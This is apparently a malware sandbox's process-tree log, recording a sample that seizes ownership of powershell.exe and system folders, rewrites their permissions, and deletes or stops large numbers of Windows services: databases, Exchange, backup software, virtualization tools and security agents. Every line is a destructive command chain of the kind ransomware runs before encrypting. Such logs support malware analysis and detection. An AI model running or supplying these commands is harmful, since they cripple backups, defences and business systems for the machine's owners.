C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\ProgramData /a4⤵
- Modifies file permissions
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\ProgramData /g Administrators:f4⤵
-
-
C:\Windows\system32\cacls.execacls C:\ProgramData /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\ProgramData /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\ProgramData /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\ProgramData /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\ProgramData /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\ProgramData /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\ProgramData /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Users\Public /a4⤵
- Modifies file permissions
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Users\Public /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Users\Public /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Users\Public /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Users\Public /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Users\Public /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Users\Public /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Users\Public /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Users\Public /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\cmd.execmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""4⤵
-
C:\Windows\system32\sc.exesc delete "XT800Service_Personal"5⤵
-
-
C:\Windows\system32\sc.exesc delete SQLSERVERAGENT5⤵
-
-
C:\Windows\system32\sc.exesc delete SQLWriter5⤵
-
-
C:\Windows\system32\sc.exesc delete SQLBrowser5⤵
-
-
C:\Windows\system32\sc.exesc delete MSSQLFDLauncher5⤵
-
-
C:\Windows\system32\sc.exesc delete MSSQLSERVER5⤵
-
-
C:\Windows\system32\sc.exesc delete QcSoftService5⤵
-
-
C:\Windows\system32\sc.exesc delete MSSQLServerOLAPService5⤵
-
-
C:\Windows\system32\sc.exesc delete VMTools5⤵
-
-
C:\Windows\system32\sc.exesc delete VGAuthService5⤵
-
-
C:\Windows\system32\sc.exesc delete MSDTC5⤵
-
-
C:\Windows\system32\sc.exesc delete TeamViewer5⤵
-
-
C:\Windows\system32\sc.exesc delete ReportServer5⤵
-
-
C:\Windows\system32\sc.exesc delete RabbitMQ5⤵
-
-
C:\Windows\system32\sc.exesc delete "AHS SERVICE"5⤵
-
-
C:\Windows\system32\sc.exesc delete "Sense Shield Service"5⤵
-
-
C:\Windows\system32\sc.exesc delete SSMonitorService5⤵
-
-
C:\Windows\system32\sc.exesc delete SSSyncService5⤵
-
-
C:\Windows\system32\sc.exesc delete TPlusStdAppService13005⤵
-
-
C:\Windows\system32\sc.exesc delete MSSQL$SQL20085⤵
-
-
C:\Windows\system32\sc.exesc delete SQLAgent$SQL20085⤵
-
-
C:\Windows\system32\sc.exesc delete TPlusStdTaskService13005⤵
-
-
C:\Windows\system32\sc.exesc delete TPlusStdUpgradeService13005⤵
-
-
C:\Windows\system32\sc.exesc delete VirboxWebServer5⤵
-
-
C:\Windows\system32\sc.exesc delete jhi_service5⤵
-
-
C:\Windows\system32\sc.exesc delete LMS5⤵
-
-
C:\Windows\system32\sc.exesc delete "FontCache3.0.0.0"5⤵
-
-
C:\Windows\system32\sc.exesc delete "OSP Service"5⤵
-
-
-
C:\Windows\system32\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"4⤵
-
C:\Windows\system32\sc.exesc delete "DAService_TCP"5⤵
-
-
C:\Windows\system32\sc.exesc delete "eCard-TTransServer"5⤵
-
-
C:\Windows\system32\sc.exesc delete eCardMPService5⤵
-
-
C:\Windows\system32\sc.exesc delete EnergyDataService5⤵
-
-
C:\Windows\system32\sc.exesc delete UI0Detect5⤵
-
-
C:\Windows\system32\sc.exesc delete K3MobileService5⤵
-
-
C:\Windows\system32\sc.exesc delete TCPIDDAService5⤵
-
-
C:\Windows\system32\sc.exesc delete WebAttendServer5⤵
-
-
C:\Windows\system32\sc.exesc delete UIODetect5⤵
-
-
C:\Windows\system32\sc.exesc delete "wanxiao-monitor"5⤵
-
-
C:\Windows\system32\sc.exesc delete VMAuthdService5⤵
-
-
C:\Windows\system32\sc.exesc delete VMUSBArbService5⤵
-
-
C:\Windows\system32\sc.exesc delete VMwareHostd5⤵
-
-
C:\Windows\system32\sc.exesc delete "vm-agent"5⤵
-
-
C:\Windows\system32\sc.exesc delete VmAgentDaemon5⤵
-
-
C:\Windows\system32\sc.exesc delete OpenSSHd5⤵
-
-
C:\Windows\system32\sc.exesc delete eSightService5⤵
-
-
C:\Windows\system32\sc.exesc delete apachezt5⤵
-
-
C:\Windows\system32\sc.exesc delete Jenkins5⤵
-
-
C:\Windows\system32\sc.exesc delete secbizsrv5⤵
-
-
C:\Windows\system32\sc.exesc delete SQLTELEMETRY5⤵
-
-
C:\Windows\system32\sc.exesc delete MSMQ5⤵
-
-
C:\Windows\system32\sc.exesc delete smtpsvrJT5⤵
-
-
C:\Windows\system32\sc.exesc delete zyb_sync5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc6⤵
-
-
-
C:\Windows\system32\sc.exesc delete 360EntHttpServer5⤵
-
-
C:\Windows\system32\sc.exesc delete 360EntSvc5⤵
-
-
C:\Windows\system32\sc.exesc delete 360EntClientSvc5⤵
-
-
C:\Windows\system32\sc.exesc delete NFWebServer5⤵
-
-
C:\Windows\system32\sc.exesc delete wampapache5⤵
-
-
C:\Windows\system32\sc.exesc delete MSSEARCH5⤵
-
-
C:\Windows\system32\sc.exesc delete msftesql5⤵
-
-
C:\Windows\system32\sc.exesc delete "SyncBASE Service"5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleDBConcoleorcl5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleJobSchedulerORCL5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleMTSRecoveryService5⤵
-
-
-
C:\Windows\system32\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services""4⤵
-
C:\Windows\system32\sc.exesc delete OracleOraDb11g_home1ClrAgent5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleOraDb11g_home1TNSListener5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleVssWriterORCL5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleServiceORCL5⤵
-
-
C:\Windows\system32\sc.exesc delete aspnet_state @sc delete Redis5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleVssWriterORCL5⤵
-
-
C:\Windows\system32\sc.exesc delete JhTask5⤵
-
-
C:\Windows\system32\sc.exesc delete ImeDictUpdateService5⤵
-
-
C:\Windows\system32\sc.exesc delete XT800Service_Personal5⤵
-
-
C:\Windows\system32\sc.exesc delete MCService5⤵
-
-
C:\Windows\system32\sc.exesc delete ImeDictUpdateService5⤵
-
-
C:\Windows\system32\sc.exesc delete allpass_redisservice_port211605⤵
-
-
C:\Windows\system32\sc.exesc delete "Flash Helper Service"5⤵
-
-
C:\Windows\system32\sc.exesc delete "Kiwi Syslog Server"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop JWRinfoClientService6⤵
-
-
-
C:\Windows\system32\sc.exesc delete "UWS HiPriv Services"5⤵
-
-
-
C:\Windows\system32\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"4⤵
-
C:\Windows\system32\sc.exesc delete "UWS LoPriv Services"5⤵
-
-
C:\Windows\system32\sc.exesc delete ftnlsv35⤵
-
-
C:\Windows\system32\sc.exesc delete ftnlses35⤵
-
-
C:\Windows\system32\sc.exesc delete FxService5⤵
-
-
C:\Windows\system32\sc.exesc delete "UtilDev Web Server Pro"5⤵
-
-
C:\Windows\system32\sc.exesc delete ftusbrdwks5⤵
-
-
C:\Windows\system32\sc.exesc delete ftusbrdsrv5⤵
-
-
C:\Windows\system32\sc.exesc delete "ZTE USBIP Client Guard"5⤵
-
-
C:\Windows\system32\sc.exesc delete "ZTE USBIP Client"5⤵
-
-
C:\Windows\system32\sc.exesc delete "ZTE FileTranS"5⤵
-
-
C:\Windows\system32\sc.exesc delete wwbizsrv5⤵
-
-
C:\Windows\system32\sc.exesc delete qemu-ga5⤵
-
-
C:\Windows\system32\sc.exesc delete AlibabaProtect5⤵
-
-
C:\Windows\system32\sc.exesc delete ZTEVdservice5⤵
-
-
C:\Windows\system32\sc.exesc delete kbasesrv5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleJobSchedulerORCL5⤵
-
-
C:\Windows\system32\sc.exesc delete MMRHookService5⤵
-
-
C:\Windows\system32\sc.exesc delete IpOverUsbSvc5⤵
-
-
C:\Windows\system32\sc.exesc delete KuaiYunTools5⤵
-
-
C:\Windows\system32\sc.exesc delete MsDtsServer1005⤵
-
-
C:\Windows\system32\sc.exesc delete KMSELDI5⤵
-
-
C:\Windows\system32\sc.exesc delete btPanel5⤵
-
-
C:\Windows\system32\sc.exesc delete Protect_2345Explorer5⤵
-
-
C:\Windows\system32\sc.exesc delete 2345PicSvc5⤵
-
-
C:\Windows\system32\sc.exesc delete vmware-converter-agent5⤵
-
-
C:\Windows\system32\sc.exesc delete vmware-converter-server5⤵
-
-
C:\Windows\system32\sc.exesc delete vmware-converter-worker5⤵
-
-
C:\Windows\system32\sc.exesc delete QQCertificateService5⤵
-
-
C:\Windows\system32\sc.exesc delete OracleRemExecService5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSDaemon5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSUserSvr5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSDownSvr5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSStorageSvr5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSDataProcSvr5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSGatewaySvr5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSMediaSvr5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSLoginSvr5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSTomcat65⤵
-
-
C:\Windows\system32\sc.exesc delete GPSMysqld5⤵
-
-
C:\Windows\system32\sc.exesc delete GPSFtpd5⤵
-
-
C:\Windows\system32\sc.exesc delete "Zabbix Agent"5⤵
-
-
C:\Windows\system32\sc.exesc delete BackupExecAgentAccelerator5⤵
-
-
C:\Windows\system32\sc.exesc delete bedbg5⤵
-
-
C:\Windows\system32\sc.exesc delete BackupExecDeviceMediaService5⤵
-
-
C:\Windows\system32\sc.exesc delete BackupExecRPCService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "FileZilla Server"6⤵
-
-
-
C:\Windows\system32\sc.exesc delete BackupExecAgentBrowser5⤵
-
-
C:\Windows\system32\sc.exesc delete BackupExecJobEngine5⤵
-
-
C:\Windows\system32\sc.exesc delete BackupExecManagementService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL5_OA6⤵
-
-
-
C:\Windows\system32\sc.exesc delete MDM5⤵
-
-
C:\Windows\system32\sc.exesc delete TxQBService5⤵
-
-
C:\Windows\system32\sc.exesc delete Gailun_Downloader5⤵
-
-
C:\Windows\system32\sc.exesc delete RemoteAssistService5⤵
-
-
C:\Windows\system32\sc.exesc delete YunService5⤵
-
-
C:\Windows\system32\sc.exesc delete Serv-U5⤵
-
-
C:\Windows\system32\sc.exesc delete "EasyFZS Server"5⤵
-
-
C:\Windows\system32\sc.exesc delete "Rpc Monitor"5⤵
-
-
C:\Windows\system32\sc.exesc delete OpenFastAssist5⤵
-
-
C:\Windows\system32\sc.exesc delete "Nuo Update Monitor"5⤵
-
-
C:\Windows\system32\sc.exesc delete "Daemon Service"5⤵
-
-
C:\Windows\system32\sc.exesc delete asComSvc5⤵
-
-
C:\Windows\system32\sc.exesc delete OfficeUpdateService5⤵
-
-
C:\Windows\system32\sc.exesc delete RtcSrv5⤵
-
-
C:\Windows\system32\sc.exesc delete RTCASMCU5⤵
-
-
C:\Windows\system32\sc.exesc delete FTA5⤵
-
-
C:\Windows\system32\sc.exesc delete MASTER5⤵
-
-
C:\Windows\system32\sc.exesc delete NscAuthService5⤵
-
-
C:\Windows\system32\sc.exesc delete MSCRMUnzipService5⤵
-
-
C:\Windows\system32\sc.exesc delete MSCRMAsyncService$maintenance5⤵
-
-
-
C:\Windows\system32\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""4⤵
-
C:\Windows\system32\sc.exesc delete MSCRMAsyncService5⤵
-
-
C:\Windows\system32\sc.exesc delete REPLICA5⤵
-
-
C:\Windows\system32\sc.exesc delete RTCATS5⤵
-
-
C:\Windows\system32\sc.exesc delete RTCAVMCU5⤵
-
-
C:\Windows\system32\sc.exesc delete RtcQms5⤵
-
-
C:\Windows\system32\sc.exesc delete RTCMEETINGMCU5⤵
-
-
C:\Windows\system32\sc.exesc delete RTCIMMCU5⤵
-
-
C:\Windows\system32\sc.exesc delete RTCDATAMCU5⤵
-
-
C:\Windows\system32\sc.exesc delete RTCCDR5⤵
-
-
C:\Windows\system32\sc.exesc delete ProjectEventService165⤵
-
-
C:\Windows\system32\sc.exesc delete ProjectQueueService165⤵
-
-
C:\Windows\system32\sc.exesc delete SPAdminV45⤵
-
-
C:\Windows\system32\sc.exesc delete SPSearchHostController5⤵
-
-
C:\Windows\system32\sc.exesc delete SPTimerV45⤵
-
-
C:\Windows\system32\sc.exesc delete OSearch165⤵
-
-
C:\Windows\system32\sc.exesc delete SPTraceV45⤵
-
-
C:\Windows\system32\sc.exesc delete ProjectCalcService165⤵
-
-
C:\Windows\system32\sc.exesc delete c2wts5⤵
-
-
C:\Windows\system32\sc.exesc delete AppFabricCachingService5⤵
-
-
C:\Windows\system32\sc.exesc delete ADWS5⤵
-
-
C:\Windows\system32\sc.exesc delete MotionBoard575⤵
-
-
C:\Windows\system32\sc.exesc delete MotionBoardRCService575⤵
-
-
C:\Windows\system32\sc.exesc delete vsvnjobsvc5⤵
-
-
C:\Windows\system32\sc.exesc delete VisualSVNServer5⤵
-
-
C:\Windows\system32\sc.exesc delete "FlexNet Licensing Service 64"5⤵
-
-
C:\Windows\system32\sc.exesc delete BestSyncSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop d_safe6⤵
-
-
-
C:\Windows\system32\sc.exesc delete LPManager5⤵
-
-
C:\Windows\system32\sc.exesc delete MediatekRegistryWriter5⤵
-
-
C:\Windows\system32\sc.exesc delete RaAutoInstSrv_RT28705⤵
-
-
C:\Windows\system32\sc.exesc delete CobianBackup105⤵
-
-
C:\Windows\system32\sc.exesc delete SQLANYs_sem55⤵
-
-
C:\Windows\system32\sc.exesc delete CASLicenceServer5⤵
-
-
C:\Windows\system32\sc.exesc delete SQLService5⤵
-
-
C:\Windows\system32\sc.exesc delete semwebsrv5⤵
-
-
C:\Windows\system32\sc.exesc delete TbossSystem5⤵
-
-
C:\Windows\system32\sc.exesc delete ErpEnvSvc5⤵
-
-
C:\Windows\system32\sc.exesc delete Mysoft.Autoupgrade.DispatchService5⤵
-
-
C:\Windows\system32\sc.exesc delete Mysoft.Autoupgrade.UpdateService5⤵
-
-
C:\Windows\system32\sc.exesc delete Mysoft.Config.WindowsService5⤵
-
-
C:\Windows\system32\sc.exesc delete Mysoft.DataCenterService5⤵
-
-
C:\Windows\system32\sc.exesc delete Mysoft.SchedulingService5⤵
-
-
C:\Windows\system32\sc.exesc delete Mysoft.Setup.InstallService5⤵
-
-
C:\Windows\system32\sc.exesc delete MysoftUpdate5⤵
-
-
C:\Windows\system32\sc.exesc delete edr_monitor5⤵
-
-
C:\Windows\system32\sc.exesc delete abs_deployer5⤵
-
-
C:\Windows\system32\sc.exesc delete savsvc5⤵
-
-
C:\Windows\system32\sc.exesc delete ShareBoxMonitorService5⤵
-
-
C:\Windows\system32\sc.exesc delete ShareBoxService5⤵
-
-
C:\Windows\system32\sc.exesc delete CloudExchangeService5⤵
-
-
C:\Windows\system32\sc.exesc delete "U8WorkerService2"5⤵
-
-
C:\Windows\system32\sc.exesc delete CIS5⤵
-
-
C:\Windows\system32\sc.exesc delete EASService5⤵
-
-
C:\Windows\system32\sc.exesc delete KICkSvr5⤵
-
-
C:\Windows\system32\sc.exesc delete "OSP Service"5⤵
-
-
C:\Windows\system32\sc.exesc delete U8SmsSrv5⤵
-
-
C:\Windows\system32\sc.exesc delete OfficeClearCache5⤵
-
-
C:\Windows\system32\sc.exesc delete TurboCRM705⤵
-
-
C:\Windows\system32\sc.exesc delete U8DispatchService5⤵
-
-
C:\Windows\system32\sc.exesc delete U8EISService5⤵
-
-
C:\Windows\system32\sc.exesc delete U8EncryptService5⤵
-
-
C:\Windows\system32\sc.exesc delete U8GCService5⤵
-
-
C:\Windows\system32\sc.exesc delete U8KeyManagePool5⤵
-
-
C:\Windows\system32\sc.exesc delete "U8MPool"5⤵
-
-
C:\Windows\system32\sc.exesc delete U8SCMPool5⤵
-
-
C:\Windows\system32\sc.exesc delete U8SLReportService5⤵
-
-
C:\Windows\system32\sc.exesc delete U8TaskService5⤵
-
-
C:\Windows\system32\sc.exesc delete "U8WebPool"5⤵
-
-
C:\Windows\system32\sc.exesc delete UFAllNet5⤵
-
-
C:\Windows\system32\sc.exesc delete UFReportService5⤵
-
-
C:\Windows\system32\sc.exesc delete UTUService5⤵
-
-
C:\Windows\system32\sc.exesc delete "U8WorkerService1"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UFAllNet6⤵
-
-
-
-
C:\Windows\system32\cmd.execmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"4⤵
-
